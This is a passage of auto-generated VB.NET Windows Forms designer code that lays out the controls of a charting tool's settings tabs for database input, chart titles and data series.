System.Drawing.Point(92, 34) Me.txtChartFileName.Name = "txtChartFileName" Me.txtChartFileName.Size = New System.Drawing.Size(851, 20) Me.txtChartFileName.TabIndex = 297 ' 'rbNewWindowChart ' Me.rbNewWindowChart.AutoSize = True Me.rbNewWindowChart.Location = New System.Drawing.Point(368, 9) Me.rbNewWindowChart.Name = "rbNewWindowChart" Me.rbNewWindowChart.Size = New System.Drawing.Size(125, 17) Me.rbNewWindowChart.TabIndex = 291 Me.rbNewWindowChart.TabStop = True Me.rbNewWindowChart.Text = "Show in new window" Me.rbNewWindowChart.UseVisualStyleBackColor = True ' 'Label33 ' Me.Label33.AutoSize = True Me.Label33.Location = New System.Drawing.Point(6, 37) Me.Label33.Name = "Label33" Me.Label33.Size = New System.Drawing.Size(80, 13) Me.Label33.TabIndex = 296 Me.Label33.Text = "Chart file name:" ' 'btnNew ' Me.btnNew.Location = New System.Drawing.Point(58, 6) Me.btnNew.Name = "btnNew" Me.btnNew.Size = New System.Drawing.Size(46, 22) Me.btnNew.TabIndex = 293 Me.btnNew.Text = "New" Me.btnNew.UseVisualStyleBackColor = True ' 'chkAutoDraw ' Me.chkAutoDraw.AutoSize = True Me.chkAutoDraw.Location = New System.Drawing.Point(217, 10) Me.chkAutoDraw.Name = "chkAutoDraw" Me.chkAutoDraw.Size = New System.Drawing.Size(76, 17) Me.chkAutoDraw.TabIndex = 295 Me.chkAutoDraw.Text = "Auto Draw" Me.chkAutoDraw.UseVisualStyleBackColor = True ' 'btnSave ' Me.btnSave.Location = New System.Drawing.Point(110, 6) Me.btnSave.Name = "btnSave" Me.btnSave.Size = New System.Drawing.Size(46, 22) Me.btnSave.TabIndex = 294 Me.btnSave.Text = "Save" Me.btnSave.UseVisualStyleBackColor = True ' 'btnNewChartWindow ' Me.btnNewChartWindow.Location = New System.Drawing.Point(499, 6) Me.btnNewChartWindow.Name = "btnNewChartWindow" Me.btnNewChartWindow.Size = New System.Drawing.Size(119, 22) Me.btnNewChartWindow.TabIndex = 288 Me.btnNewChartWindow.Text = "New Chart Window" Me.btnNewChartWindow.UseVisualStyleBackColor = True ' 'TabPage4 ' Me.TabPage4.Controls.Add(Me.TabControl2) Me.TabPage4.Location = New System.Drawing.Point(4, 22) Me.TabPage4.Name = "TabPage4" Me.TabPage4.Size = New System.Drawing.Size(949, 492) Me.TabPage4.TabIndex = 3 Me.TabPage4.Text = "Settings" Me.TabPage4.UseVisualStyleBackColor = True ' 'TabControl2 ' Me.TabControl2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TabControl2.Controls.Add(Me.TabPage5) Me.TabControl2.Controls.Add(Me.TabPage7) Me.TabControl2.Controls.Add(Me.TabPage6) Me.TabControl2.Controls.Add(Me.TabPage15) Me.TabControl2.Location = New System.Drawing.Point(3, 3) Me.TabControl2.Name = "TabControl2" Me.TabControl2.SelectedIndex = 0 Me.TabControl2.Size = New System.Drawing.Size(943, 486) Me.TabControl2.TabIndex = 3 ' 'TabPage5 ' Me.TabPage5.Controls.Add(Me.TabControl3) Me.TabPage5.Controls.Add(Me.Label31) Me.TabPage5.Controls.Add(Me.rbDataset) Me.TabPage5.Controls.Add(Me.rbDatabase) Me.TabPage5.Location = New System.Drawing.Point(4, 22) Me.TabPage5.Name = "TabPage5" Me.TabPage5.Padding = New System.Windows.Forms.Padding(3) Me.TabPage5.Size = New System.Drawing.Size(935, 460) Me.TabPage5.TabIndex = 0 Me.TabPage5.Text = "Input Data" Me.TabPage5.UseVisualStyleBackColor = True ' 'TabControl3 ' Me.TabControl3.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TabControl3.Controls.Add(Me.TabPage10) Me.TabControl3.Controls.Add(Me.TabPage11) Me.TabControl3.Location = New System.Drawing.Point(6, 24) Me.TabControl3.Name = "TabControl3" Me.TabControl3.SelectedIndex = 0 Me.TabControl3.Size = New System.Drawing.Size(923, 433) Me.TabControl3.TabIndex = 27 ' 'TabPage10 ' Me.TabPage10.Controls.Add(Me.btnApplyInputDataSettings) Me.TabPage10.Controls.Add(Me.Label32) Me.TabPage10.Controls.Add(Me.txtDataDescription) Me.TabPage10.Controls.Add(Me.btnApplyQuery) Me.TabPage10.Controls.Add(Me.btnViewData) Me.TabPage10.Controls.Add(Me.btnDesignQuery) Me.TabPage10.Controls.Add(Me.lstFields) Me.TabPage10.Controls.Add(Me.Label16) Me.TabPage10.Controls.Add(Me.lstTables) Me.TabPage10.Controls.Add(Me.Label18) Me.TabPage10.Controls.Add(Me.txtInputQuery) Me.TabPage10.Controls.Add(Me.Label19) Me.TabPage10.Controls.Add(Me.Label20) Me.TabPage10.Controls.Add(Me.cmbDatabaseType) Me.TabPage10.Controls.Add(Me.btnDatabase) Me.TabPage10.Controls.Add(Me.txtDatabasePath) Me.TabPage10.Controls.Add(Me.Label21) Me.TabPage10.Location = New System.Drawing.Point(4, 22) Me.TabPage10.Name = "TabPage10" Me.TabPage10.Padding = New System.Windows.Forms.Padding(3) Me.TabPage10.Size = New System.Drawing.Size(915, 407) Me.TabPage10.TabIndex = 0 Me.TabPage10.Text = "Database" Me.TabPage10.UseVisualStyleBackColor = True ' 'btnApplyInputDataSettings ' Me.btnApplyInputDataSettings.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnApplyInputDataSettings.Location = New System.Drawing.Point(861, 31) Me.btnApplyInputDataSettings.Name = "btnApplyInputDataSettings" Me.btnApplyInputDataSettings.Size = New System.Drawing.Size(48, 22) Me.btnApplyInputDataSettings.TabIndex = 283 Me.btnApplyInputDataSettings.Text = "Apply" Me.btnApplyInputDataSettings.UseVisualStyleBackColor = True ' 'Label32 ' Me.Label32.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.Label32.AutoSize = True Me.Label32.Location = New System.Drawing.Point(9, 250) Me.Label32.Name = "Label32" Me.Label32.Size = New System.Drawing.Size(87, 13) Me.Label32.TabIndex = 61 Me.Label32.Text = "Data description:" ' 'txtDataDescription ' Me.txtDataDescription.Anchor = CType(((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtDataDescription.Location = New System.Drawing.Point(105, 247) Me.txtDataDescription.Name = "txtDataDescription" Me.txtDataDescription.Size = New System.Drawing.Size(804, 20) Me.txtDataDescription.TabIndex = 60 ' 'btnApplyQuery ' Me.btnApplyQuery.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.btnApplyQuery.Location = New System.Drawing.Point(6, 375) Me.btnApplyQuery.Name = "btnApplyQuery" Me.btnApplyQuery.Size = New System.Drawing.Size(56, 22) Me.btnApplyQuery.TabIndex = 59 Me.btnApplyQuery.Text = "Apply" Me.btnApplyQuery.UseVisualStyleBackColor = True ' 'btnViewData ' Me.btnViewData.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.btnViewData.Location = New System.Drawing.Point(6, 347) Me.btnViewData.Name = "btnViewData" Me.btnViewData.Size = New System.Drawing.Size(56, 22) Me.btnViewData.TabIndex = 56 Me.btnViewData.Text = "View" Me.btnViewData.UseVisualStyleBackColor = True ' 'btnDesignQuery ' Me.btnDesignQuery.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.btnDesignQuery.Location = New System.Drawing.Point(6, 319) Me.btnDesignQuery.Name = "btnDesignQuery" Me.btnDesignQuery.Size = New System.Drawing.Size(56, 22) Me.btnDesignQuery.TabIndex = 56 Me.btnDesignQuery.Text = "Design" Me.btnDesignQuery.UseVisualStyleBackColor = True ' 'lstFields ' Me.lstFields.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.lstFields.FormattingEnabled = True Me.lstFields.Location = New System.Drawing.Point(288, 72) Me.lstFields.Name = "lstFields" Me.lstFields.Size = New System.Drawing.Size(621, 160) Me.lstFields.TabIndex = 21 ' 'Label16 ' Me.Label16.AutoSize = True Me.Label16.Location = New System.Drawing.Point(285, 56) Me.Label16.Name = "Label16" Me.Label16.Size = New System.Drawing.Size(37, 13) Me.Label16.TabIndex = 20 Me.Label16.Text = "Fields:" ' 'lstTables ' Me.lstTables.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.lstTables.FormattingEnabled = True Me.lstTables.Location = New System.Drawing.Point(9, 72) Me.lstTables.Name = "lstTables" Me.lstTables.Size = New System.Drawing.Size(273, 160) Me.lstTables.TabIndex = 19 ' 'Label18 ' Me.Label18.AutoSize = True Me.Label18.Location = New System.Drawing.Point(6, 56) Me.Label18.Name = "Label18" Me.Label18.Size = New System.Drawing.Size(42, 13) Me.Label18.TabIndex = 18 Me.Label18.Text = "Tables:" ' 'txtInputQuery ' Me.txtInputQuery.Anchor = CType(((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtInputQuery.Location = New System.Drawing.Point(68, 300) Me.txtInputQuery.Multiline = True Me.txtInputQuery.Name = "txtInputQuery" Me.txtInputQuery.Size = New System.Drawing.Size(841, 101) Me.txtInputQuery.TabIndex = 17 ' 'Label19 ' Me.Label19.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.Label19.AutoSize = True Me.Label19.Location = New System.Drawing.Point(6, 303) Me.Label19.Name = "Label19" Me.Label19.Size = New System.Drawing.Size(35, 13) Me.Label19.TabIndex = 16 Me.Label19.Text = "Query" ' 'Label20 ' Me.Label20.AutoSize = True Me.Label20.Location = New System.Drawing.Point(6, 35) Me.Label20.Name = "Label20" Me.Label20.Size = New System.Drawing.Size(34, 13) Me.Label20.TabIndex = 15 Me.Label20.Text = "Type:" ' 'cmbDatabaseType ' Me.cmbDatabaseType.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.cmbDatabaseType.FormattingEnabled = True Me.cmbDatabaseType.Location = New System.Drawing.Point(68, 32) Me.cmbDatabaseType.Name = "cmbDatabaseType" Me.cmbDatabaseType.Size = New System.Drawing.Size(628, 21) Me.cmbDatabaseType.TabIndex = 14 ' 'btnDatabase ' Me.btnDatabase.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnDatabase.Location = New System.Drawing.Point(845, 5) Me.btnDatabase.Name = "btnDatabase" Me.btnDatabase.Size = New System.Drawing.Size(64, 22) Me.btnDatabase.TabIndex = 13 Me.btnDatabase.Text = "Find" Me.btnDatabase.UseVisualStyleBackColor = True ' 'txtDatabasePath ' Me.txtDatabasePath.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtDatabasePath.Location = New System.Drawing.Point(68, 6) Me.txtDatabasePath.Name = "txtDatabasePath" Me.txtDatabasePath.Size = New System.Drawing.Size(771, 20) Me.txtDatabasePath.TabIndex = 12 ' 'Label21 ' Me.Label21.AutoSize = True Me.Label21.Location = New System.Drawing.Point(6, 9) Me.Label21.Name = "Label21" Me.Label21.Size = New System.Drawing.Size(56, 13) Me.Label21.TabIndex = 11 Me.Label21.Text = "Database:" ' 'TabPage11 ' Me.TabPage11.Location = New System.Drawing.Point(4, 22) Me.TabPage11.Name = "TabPage11" Me.TabPage11.Padding = New System.Windows.Forms.Padding(3) Me.TabPage11.Size = New System.Drawing.Size(915, 407) Me.TabPage11.TabIndex = 1 Me.TabPage11.Text = "Dataset" Me.TabPage11.UseVisualStyleBackColor = True ' 'Label31 ' Me.Label31.AutoSize = True Me.Label31.Location = New System.Drawing.Point(6, 3) Me.Label31.Name = "Label31" Me.Label31.Size = New System.Drawing.Size(81, 13) Me.Label31.TabIndex = 26 Me.Label31.Text = "Input data type:" ' 'rbDataset ' Me.rbDataset.AutoSize = True Me.rbDataset.Location = New System.Drawing.Point(170, 1) Me.rbDataset.Name = "rbDataset" Me.rbDataset.Size = New System.Drawing.Size(62, 17) Me.rbDataset.TabIndex = 25 Me.rbDataset.Text = "Dataset" Me.rbDataset.UseVisualStyleBackColor = True ' 'rbDatabase ' Me.rbDatabase.AutoSize = True Me.rbDatabase.Checked = True Me.rbDatabase.Location = New System.Drawing.Point(93, 1) Me.rbDatabase.Name = "rbDatabase" Me.rbDatabase.Size = New System.Drawing.Size(71, 17) Me.rbDatabase.TabIndex = 24 Me.rbDatabase.TabStop = True Me.rbDatabase.Text = "Database" Me.rbDatabase.UseVisualStyleBackColor = True ' 'TabPage7 ' Me.TabPage7.Controls.Add(Me.btnChartTitleColor) Me.TabPage7.Controls.Add(Me.btnCancelTitlesSettings) Me.TabPage7.Controls.Add(Me.btnApplyTitlesSettings) Me.TabPage7.Controls.Add(Me.cmbOrientation) Me.TabPage7.Controls.Add(Me.Label63) Me.TabPage7.Controls.Add(Me.btnDelTitle) Me.TabPage7.Controls.Add(Me.btnAddTitle) Me.TabPage7.Controls.Add(Me.txtTitlesRecordNo) Me.TabPage7.Controls.Add(Me.Label55) Me.TabPage7.Controls.Add(Me.btnNextTitle) Me.TabPage7.Controls.Add(Me.btnPrevTitle) Me.TabPage7.Controls.Add(Me.Label56) Me.TabPage7.Controls.Add(Me.txtNTitlesRecords) Me.TabPage7.Controls.Add(Me.txtTitleName) Me.TabPage7.Controls.Add(Me.Label57) Me.TabPage7.Controls.Add(Me.cmbAlignment) Me.TabPage7.Controls.Add(Me.Label25) Me.TabPage7.Controls.Add(Me.btnChartTitleFont) Me.TabPage7.Controls.Add(Me.txtChartTitle) Me.TabPage7.Controls.Add(Me.Label26) Me.TabPage7.Location = New System.Drawing.Point(4, 22) Me.TabPage7.Name = "TabPage7" Me.TabPage7.Size = New System.Drawing.Size(935, 460) Me.TabPage7.TabIndex = 2 Me.TabPage7.Text = "Titles" Me.TabPage7.UseVisualStyleBackColor = True ' 'btnChartTitleColor ' Me.btnChartTitleColor.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnChartTitleColor.Location = New System.Drawing.Point(874, 89) Me.btnChartTitleColor.Name = "btnChartTitleColor" Me.btnChartTitleColor.Size = New System.Drawing.Size(54, 22) Me.btnChartTitleColor.TabIndex = 284 Me.btnChartTitleColor.Text = "Color" Me.btnChartTitleColor.UseVisualStyleBackColor = True ' 'btnCancelTitlesSettings ' Me.btnCancelTitlesSettings.Location = New System.Drawing.Point(423, 6) Me.btnCancelTitlesSettings.Name = "btnCancelTitlesSettings" Me.btnCancelTitlesSettings.Size = New System.Drawing.Size(48, 22) Me.btnCancelTitlesSettings.TabIndex = 283 Me.btnCancelTitlesSettings.Text = "Cancel" Me.btnCancelTitlesSettings.UseVisualStyleBackColor = True ' 'btnApplyTitlesSettings ' Me.btnApplyTitlesSettings.Location = New System.Drawing.Point(369, 6) Me.btnApplyTitlesSettings.Name = "btnApplyTitlesSettings" Me.btnApplyTitlesSettings.Size = New System.Drawing.Size(48, 22) Me.btnApplyTitlesSettings.TabIndex = 282 Me.btnApplyTitlesSettings.Text = "Apply" Me.btnApplyTitlesSettings.UseVisualStyleBackColor = True ' 'cmbOrientation ' Me.cmbOrientation.FormattingEnabled = True Me.cmbOrientation.Location = New System.Drawing.Point(75, 134) Me.cmbOrientation.Name = "cmbOrientation" Me.cmbOrientation.Size = New System.Drawing.Size(255, 21) Me.cmbOrientation.TabIndex = 220 ' 'Label63 ' Me.Label63.AutoSize = True Me.Label63.Location = New System.Drawing.Point(8, 137) Me.Label63.Name = "Label63" Me.Label63.Size = New System.Drawing.Size(61, 13) Me.Label63.TabIndex = 219 Me.Label63.Text = "Orientation:" ' 'btnDelTitle ' Me.btnDelTitle.Location = New System.Drawing.Point(324, 6) Me.btnDelTitle.Name = "btnDelTitle" Me.btnDelTitle.Size = New System.Drawing.Size(39, 22) Me.btnDelTitle.TabIndex = 218 Me.btnDelTitle.Text = "Del" Me.btnDelTitle.UseVisualStyleBackColor = True ' 'btnAddTitle ' Me.btnAddTitle.Location = New System.Drawing.Point(279, 6) Me.btnAddTitle.Name = "btnAddTitle" Me.btnAddTitle.Size = New System.Drawing.Size(39, 22) Me.btnAddTitle.TabIndex = 217 Me.btnAddTitle.Text = "Add" Me.btnAddTitle.UseVisualStyleBackColor = True ' 'txtTitlesRecordNo ' Me.txtTitlesRecordNo.Location = New System.Drawing.Point(63, 7) Me.txtTitlesRecordNo.Name = "txtTitlesRecordNo" Me.txtTitlesRecordNo.Size = New System.Drawing.Size(45, 20) Me.txtTitlesRecordNo.TabIndex = 216 ' 'Label55 ' Me.Label55.AutoSize = True Me.Label55.Location = New System.Drawing.Point(6, 9) Me.Label55.Name = "Label55" Me.Label55.Size = New System.Drawing.Size(51, 13) Me.Label55.TabIndex = 215 Me.Label55.Text = "Chart title" ' 'btnNextTitle ' Me.btnNextTitle.Location = New System.Drawing.Point(234, 6) Me.btnNextTitle.Name = "btnNextTitle" Me.btnNextTitle.Size = New System.Drawing.Size(39, 22) Me.btnNextTitle.TabIndex = 214 Me.btnNextTitle.Text = "Next" Me.btnNextTitle.UseVisualStyleBackColor = True ' 'btnPrevTitle ' Me.btnPrevTitle.Location = New System.Drawing.Point(189, 6) Me.btnPrevTitle.Name = "btnPrevTitle" Me.btnPrevTitle.Size = New System.Drawing.Size(39, 22) Me.btnPrevTitle.TabIndex = 213 Me.btnPrevTitle.Text = "Prev" Me.btnPrevTitle.UseVisualStyleBackColor = True ' 'Label56 ' Me.Label56.AutoSize = True Me.Label56.Location = New System.Drawing.Point(114, 10) Me.Label56.Name = "Label56" Me.Label56.Size = New System.Drawing.Size(16, 13) Me.Label56.TabIndex = 212 Me.Label56.Text = "of" ' 'txtNTitlesRecords ' Me.txtNTitlesRecords.Location = New System.Drawing.Point(136, 7) Me.txtNTitlesRecords.Name = "txtNTitlesRecords" Me.txtNTitlesRecords.ReadOnly = True Me.txtNTitlesRecords.Size = New System.Drawing.Size(47, 20) Me.txtNTitlesRecords.TabIndex = 211 ' 'txtTitleName ' Me.txtTitleName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtTitleName.Location = New System.Drawing.Point(542, 7) Me.txtTitleName.Name = "txtTitleName" Me.txtTitleName.ReadOnly = True Me.txtTitleName.Size = New System.Drawing.Size(386, 20) Me.txtTitleName.TabIndex = 210 ' 'Label57 ' Me.Label57.AutoSize = True Me.Label57.Location = New System.Drawing.Point(477, 10) Me.Label57.Name = "Label57" Me.Label57.Size = New System.Drawing.Size(59, 13) Me.Label57.TabIndex = 209 Me.Label57.Text = "Title name:" ' 'cmbAlignment ' Me.cmbAlignment.FormattingEnabled = True Me.cmbAlignment.Location = New System.Drawing.Point(75, 107) Me.cmbAlignment.Name = "cmbAlignment" Me.cmbAlignment.Size = New System.Drawing.Size(255, 21) Me.cmbAlignment.TabIndex = 9 ' 'Label25 ' Me.Label25.AutoSize = True Me.Label25.Location = New System.Drawing.Point(7, 110) Me.Label25.Name = "Label25" Me.Label25.Size = New System.Drawing.Size(56, 13) Me.Label25.TabIndex = 8 Me.Label25.Text = "Alignment:" ' 'btnChartTitleFont ' Me.btnChartTitleFont.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnChartTitleFont.Location = New System.Drawing.Point(874, 61) Me.btnChartTitleFont.Name = "btnChartTitleFont" Me.btnChartTitleFont.Size = New System.Drawing.Size(54, 22) Me.btnChartTitleFont.TabIndex = 7 Me.btnChartTitleFont.Text = "Font" Me.btnChartTitleFont.UseVisualStyleBackColor = True ' 'txtChartTitle ' Me.txtChartTitle.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtChartTitle.Location = New System.Drawing.Point(75, 61) Me.txtChartTitle.Name = "txtChartTitle" Me.txtChartTitle.Size = New System.Drawing.Size(793, 20) Me.txtChartTitle.TabIndex = 6 ' 'Label26 ' Me.Label26.AutoSize = True Me.Label26.Location = New System.Drawing.Point(8, 64) Me.Label26.Name = "Label26" Me.Label26.Size = New System.Drawing.Size(31, 13) Me.Label26.TabIndex = 5 Me.Label26.Text = "Text:" ' 'TabPage6 ' Me.TabPage6.Controls.Add(Me.cmbXAxisValueType) Me.TabPage6.Controls.Add(Me.Label69) Me.TabPage6.Controls.Add(Me.cmbChartArea) Me.TabPage6.Controls.Add(Me.Label64) Me.TabPage6.Controls.Add(Me.btnMarkerProps) Me.TabPage6.Controls.Add(Me.cmbXAxisType) Me.TabPage6.Controls.Add(Me.Label58) Me.TabPage6.Controls.Add(Me.btnCancelSeriesSettings) Me.TabPage6.Controls.Add(Me.btnApplySeriesSettings) Me.TabPage6.Controls.Add(Me.btnDeleteSeries) Me.TabPage6.Controls.Add(Me.btnAddSeries) Me.TabPage6.Controls.Add(Me.txtSeriesRecordNo) Me.TabPage6.Controls.Add(Me.Label47) Me.TabPage6.Controls.Add(Me.btnNextSeries) Me.TabPage6.Controls.Add(Me.btnPrevSeries) Me.TabPage6.Controls.Add(Me.Label48) Me.TabPage6.Controls.Add(Me.txtNSeriesRecords) Me.TabPage6.Controls.Add(Me.txtChartDescr) Me.TabPage6.Controls.Add(Me.SplitContainer1) Me.TabPage6.Controls.Add(Me.txtSeriesName) Me.TabPage6.Controls.Add(Me.Label35) Me.TabPage6.Controls.Add(Me.cmbXValues) Me.TabPage6.Controls.Add(Me.Label24) Me.TabPage6.Location = New System.Drawing.Point(4, 22) Me.TabPage6.Name = "TabPage6" Me.TabPage6.Padding = New System.Windows.Forms.Padding(3) Me.TabPage6.Size = New System.Drawing.Size(935, 460) Me.TabPage6.TabIndex = 1 Me.TabPage6.Text = "Series" Me.TabPage6.UseVisualStyleBackColor = True ' 'cmbXAxisValueType ' Me.cmbXAxisValueType.FormattingEnabled = True Me.cmbXAxisValueType.Location = New System.Drawing.Point(684, 34) Me.cmbXAxisValueType.Name = "cmbXAxisValueType" Me.cmbXAxisValueType.Size = New System.Drawing.Size(139, 21) Me.cmbXAxisValueType.TabIndex = 289 ' 'Label69 ' Me.Label69.AutoSize = True Me.Label69.Location = New System.Drawing.Point(597, 37) Me.Label69.Name = "Label69" Me.Label69.Size = New System.Drawing.Size(60, 13) Me.Label69.TabIndex = 288 Me.Label69.Text = "Value type:" ' 'cmbChartArea ' Me.cmbChartArea.FormattingEnabled = True Me.cmbChartArea.Location = New System.Drawing.Point(93, 61) Me.cmbChartArea.Name = "cmbChartArea" Me.cmbChartArea.Size = New System.Drawing.Size(284, 21) Me.cmbChartArea.TabIndex = 287 ' 'Label64 ' Me.Label64.AutoSize = True Me.Label64.Location = New System.Drawing.Point(7, 64) Me.Label64.Name = "Label64" Me.Label64.Size = New System.Drawing.Size(80, 13) Me.Label64.TabIndex = 286 Me.Label64.Text = "Use chart area:" ' 'btnMarkerProps ' Me.btnMarkerProps.Location = New System.Drawing.Point(397, 61) Me.btnMarkerProps.Name = "btnMarkerProps" Me.btnMarkerProps.Size = New System.Drawing.Size(107, 22) Me.btnMarkerProps.TabIndex = 285 Me.btnMarkerProps.Text = "Marker Properties" Me.btnMarkerProps.UseVisualStyleBackColor = True ' 'cmbXAxisType ' Me.cmbXAxisType.FormattingEnabled = True Me.cmbXAxisType.Location = New System.Drawing.Point(452, 34) Me.cmbXAxisType.Name = "cmbXAxisType" Me.cmbXAxisType.Size = New System.Drawing.Size(139, 21) Me.cmbXAxisType.TabIndex = 284 ' 'Label58 ' Me.Label58.AutoSize = True Me.Label58.Location = New System.Drawing.Point(394, 37) Me.Label58.Name = "Label58" Me.Label58.Size = New System.Drawing.Size(52, 13) Me.Label58.TabIndex = 283 Me.Label58.Text = "Axis type:" ' 'btnCancelSeriesSettings ' Me.btnCancelSeriesSettings.Location = New System.Drawing.Point(409, 6) Me.btnCancelSeriesSettings.Name = "btnCancelSeriesSettings" Me.btnCancelSeriesSettings.Size = New System.Drawing.Size(48, 22) Me.btnCancelSeriesSettings.TabIndex = 282 Me.btnCancelSeriesSettings.Text = "Cancel" Me.btnCancelSeriesSettings.UseVisualStyleBackColor = True ' 'btnApplySeriesSettings ' Me.btnApplySeriesSettings.Location = New System.Drawing.Point(355, 6) Me.btnApplySeriesSettings.Name = "btnApplySeriesSettings" Me.btnApplySeriesSettings.Size = New System.Drawing.Size(48, 22) Me.btnApplySeriesSettings.TabIndex = 281 Me.btnApplySeriesSettings.Text = "Apply" Me.btnApplySeriesSettings.UseVisualStyleBackColor = True ' 'btnDeleteSeries ' Me.btnDeleteSeries.Location = New System.Drawing.Point(310, 6) Me.btnDeleteSeries.Name = "btnDeleteSeries" Me.btnDeleteSeries.Size = New System.Drawing.Size(39, 22) Me.btnDeleteSeries.TabIndex = 208 Me.btnDeleteSeries.Text = "Del" Me.btnDeleteSeries.UseVisualStyleBackColor = True ' 'btnAddSeries ' Me.btnAddSeries.Location = New System.Drawing.Point(265, 6) Me.btnAddSeries.Name = "btnAddSeries" Me.btnAddSeries.Size = New System.Drawing.Size(39, 22) Me.btnAddSeries.TabIndex = 207 Me.btnAddSeries.Text = "Add" Me.btnAddSeries.UseVisualStyleBackColor = True ' 'txtSeriesRecordNo ' Me.txtSeriesRecordNo.Location = New System.Drawing.Point(49, 7) Me.txtSeriesRecordNo.Name = "txtSeriesRecordNo" Me.txtSeriesRecordNo.Size = New System.Drawing.Size(45, 20) Me.txtSeriesRecordNo.TabIndex = 206 ' 'Label47 ' Me.Label47.AutoSize = True Me.Label47.Location = New System.Drawing.Point(7, 10) Me.Label47.Name = "Label47" Me.Label47.Size = New System.Drawing.Size(36, 13) Me.Label47.TabIndex = 205 Me.Label47.Text = "Series" ' 'btnNextSeries ' Me.btnNextSeries.Location = New System.Drawing.Point(220, 6) Me.btnNextSeries.Name = "btnNextSeries" Me.btnNextSeries.Size = New System.Drawing.Size(39, 22) Me.btnNextSeries.TabIndex = 204 Me.btnNextSeries.Text = "Next" Me.btnNextSeries.UseVisualStyleBackColor = True ' 'btnPrevSeries ' Me.btnPrevSeries.Location = New System.Drawing.Point(175, 6) Me.btnPrevSeries.Name = "btnPrevSeries" Me.btnPrevSeries.Size = New System.Drawing.Size(39, 22) Me.btnPrevSeries.TabIndex = 203 Me.btnPrevSeries.Text = "Prev" Me.btnPrevSeries.UseVisualStyleBackColor = True ' 'Label48 ' Me.Label48.AutoSize = True Me.Label48.Location = New System.Drawing.Point(100, 10) Me.Label48.Name = "Label48" Me.Label48.Size = New System.Drawing.Size(16, 13) Me.Label48.TabIndex = 202 Me.Label48.Text = "of" ' 'txtNSeriesRecords ' Me.txtNSeriesRecords.Location = New System.Drawing.Point(122, 7) Me.txtNSeriesRecords.Name = "txtNSeriesRecords" Me.txtNSeriesRecords.ReadOnly = True Me.txtNSeriesRecords.Size = New System.Drawing.Size(47, 20) Me.txtNSeriesRecords.TabIndex = 201 ' 'txtChartDescr ' Me.txtChartDescr.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.txtChartDescr.Location = New System.Drawing.Point(9, 348) Me.txtChartDescr.Multiline = True Me.txtChartDescr.Name = "txtChartDescr" Me.txtChartDescr.Size = New System.Drawing.Size(917, 106) Me.txtChartDescr.TabIndex = 76 ' 'SplitContainer1 ' Me.SplitContainer1.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.SplitContainer1.Location = New System.Drawing.Point(9, 89) Me.SplitContainer1.Name = "SplitContainer1" ' 'SplitContainer1.Panel1 ' Me.SplitContainer1.Panel1.Controls.Add(Me.cmbYAxisValueType) Me.SplitContainer1.Panel1.Controls.Add(Me.cmbYAxisType) Me.SplitContainer1.Panel1.Controls.Add(Me.Label70) Me.SplitContainer1.Panel1.Controls.Add(Me.Label59) Me.SplitContainer1.Panel1.Controls.Add(Me.DataGridView1) 